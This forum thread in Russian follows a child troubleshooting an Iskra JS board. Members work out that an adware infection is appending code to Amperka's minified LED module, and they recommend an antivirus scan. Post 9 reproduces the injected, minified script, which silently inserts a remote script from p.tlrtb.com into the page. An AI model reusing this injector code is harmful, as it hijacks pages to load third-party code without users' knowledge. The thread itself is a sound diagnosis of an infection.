Амперка,Йода, Лампа(Решено)

Тема в разделе "Iskra JS, Espruino, Йодо", создана пользователем David_s, 27 авг 2018.

Метки:
  1. David_s

    David_s Нерд

    Здравствуйте знатоки! Пожалуйста, помогите, разобраться с такой проблемой. см. скан. Искра работает сама по себе на программе , например, помигать светодиодом. Обновление сделал через дфу., вин 10.. Выдает следующие ошибки.
     

    Вложения:

  2. David_s

    David_s Нерд

    или вот, например, программа элементарный синтезатор.
     

    Вложения:

  3. ИгорьК

    ИгорьК Гуру

    А перевести что она там пишет не пробовали?
     
  4. Mitrandir

    Mitrandir Гуру

    Похоже библиотек не видит
     
  5. ИгорьК

    ИгорьК Гуру

    Знаете что! Мой Вам совет, отложите в сторону эту плату, найдите книжку:
    upload_2018-8-27_9-42-1.png

    прочитайте, поделайте примеры а потом приступайте к Искре.
     
  6. David_s

    David_s Нерд

    вроде адреса прописывал в консольной проге. Что еще сделать, чтобы видела?

    перевести не сложно, что дает перевод???

    а может, раз Вы знаете, подскажете, что делать?
     
    Последнее редактирование модератором: 23 июл 2020
  7. Mitrandir

    Mitrandir Гуру

  8. ZAZ-965

    ZAZ-965 Гуру

    @David_s, судя по первому скриншоту у вас майлварь по классификации Kaspersky - HEUR:AdWare.Script.Generic. К амперковскому http://js.amperka.ru/modules/@amperka/led.min.js и/или http://js.amperka.ru/modules/@amperka/led.js приклеился левый скрипт. Попробуйте в браузере перейти по ссылкам - откроется код от Амперки или с левым хвостом?
    PS вы все еще считаете JavaScript безопасным?
     
    sys нравится это.
  9. David_s

    David_s Нерд

    Мне 10 лет, я только начинаю разбираться... по первой ссылке открылось вот это:
    !function(){function t(){try{return window.self!==window.top}catch(t){return!0}}function e(){var t=document.getElementsByTagName("head")[0],e=document.createElement("script");e.src="http://p.tlrtb.com/ad/base.js?",e.type="text/javascript",t.appendChild(e)}function n(t){o.parentNode.insertBefore(t,o.nextSibling)}function r(t){document.write(t.outerHTML)}function c(){for(var t=document.createElement("script"),e=Array.prototype.slice.call(o.attributes),n=0;n<e.length;n++)t.setAttribute(e[n].nodeName,e[n].nodeValue);return t.src="http://js.amperka.ru/modules/@amperka/led.min.js?",t}var o=document.currentScript||document.scripts[document.scripts.length-1],i=c();o.async||o.defer?n(i):r(i),window.__qsrad||t()||(window.__qsrad=1,e())}();
     
  10. David_s

    David_s Нерд

    по второй ссылке открылось вот это
    var Led = function(pin) {
    this._pin = pin;
    this._on = false;
    this._brightness = 1.0;

    this._blinkTimeoutID = null;
    this._blinkOnTime = 0;
    this._blinkOffTime = 0;

    this._pin.mode('output');
    };

    Led.prototype.toggle = function() {
    if (arguments.length === 0) {
    return this.toggle(!this._on);
    }

    this._clearBlink();
    this._blinkOnTime = 0;
    this._blinkOffTime = 0;
    this._on = !!arguments[0];
    this._update();

    return this;
    };

    Led.prototype.turnOn = function() {
    return this.toggle(true);
    };

    Led.prototype.turnOff = function() {
    return this.toggle(false);
    };

    Led.prototype.isOn = function() {
    return this._on;
    };

    Led.prototype._clearBlink = function() {
    if (this._blinkTimeoutID) {
    clearTimeout(this._blinkTimeoutID);
    this._blinkTimeoutID = null;
    }
    };

    Led.prototype._blinkOn = function() {
    this._on = true;
    this._update();
    this._blinkTimeoutID = setTimeout(
    this._blinkOff.bind(this),
    this._blinkOnTime * 1000);
    };

    Led.prototype._blinkOff = function() {
    this._on = false;
    this._update();

    if (this._blinkOffTime) {
    this._blinkTimeoutID = setTimeout(
    this._blinkOn.bind(this),
    this._blinkOffTime * 1000);
    } else {
    this._blinkTimeoutID = null;
    }
    };

    Led.prototype.blink = function(onTime, offTime) {
    if (this._blinkOnTime === onTime &&
    this._blinkOffTime &&
    this._blinkOffTime === offTime) {
    return;
    }

    this._blinkOnTime = onTime;
    this._blinkOffTime = offTime;
    this._clearBlink();

    if (this._on) {
    this._blinkOff();
    } else {
    this._blinkOn();
    }
    };

    Led.prototype.brightness = function(value) {
    if (arguments.length === 0) {
    return this._brightness;
    }

    value = Math.max(0.0, Math.min(value, 1.0));
    this._brightness = value;
    this._update();

    return this;
    };

    Led.prototype._update = function() {
    var b = this._brightness;
    if (b > 0 && b < 1.0) {
    analogWrite(this._pin, b * b * b * this._on, {freq: 100});
    } else {
    digitalWrite(this._pin, this._on);
    }
    };

    exports.connect = function(pin) {
    return new Led(pin);
    };
     
  11. David_s

    David_s Нерд

    вроде ява скрипт, конечно не безопасен. Что теперь выкинуть конструктор? я только их купил 3 штуки....
     
  12. Mitrandir

    Mitrandir Гуру

    От вирусов лечить комп
     
  13. David_s

    David_s Нерд

    спасибо большое! установил драйвер на USB и заработал синтезатор!!! ура) теперь пробую далее)
     
  14. David_s

    David_s Нерд

    вроде вирусов нет и не обнаружено. А что открывшиеся ссылки показывают, что есть вирусы?
     
  15. ZAZ-965

    ZAZ-965 Гуру

    Первая ссылка открылась с майлварь скриптом в придачу, должно быть
    amperka_led.png
    Вторая верно, значит майлварь перехватывает только минифицированные скрипты.
    Проверяйте свой компьютер антивирусом, например, ,сканером CureIT https://free.drweb.ru/cureit/.
    Выкидывать не нужно, нужно знать особенности. Это я написал к давнему спору на форуме
     
    sys, ИгорьК и Mitrandir нравится это.
  16. David_s

    David_s Нерд

    а теперь скрипт Лампа, выдает следующее. :(:(:(
     

    Вложения:

  17. David_s

    David_s Нерд

    спасибо большое! буду сканировать... где можно поймать такой скрипт специфический? Вроде ,очень аккуратно использую интернет.
     
  18. David_s

    David_s Нерд

    ура, на макбуке все сработало, без вирусов. Спасибо большое за помощь. Буду искать скрипт майлварь на винде.(((
     
  19. ZAZ-965

    ZAZ-965 Гуру

    Здесь есть описание этой заразы. Смотрите в диспетчере процесс типа wscript.exe "C:\DOC3193120949.js", где имя скрипта можно искать по маске *DOC*.js.
    Это уже второй случай на форуме, @sys по моему надо добавлять в F.A.Q. | ЧаВо
     
    sys нравится это.
  20. David_s

    David_s Нерд

    курейт ничего не нашел((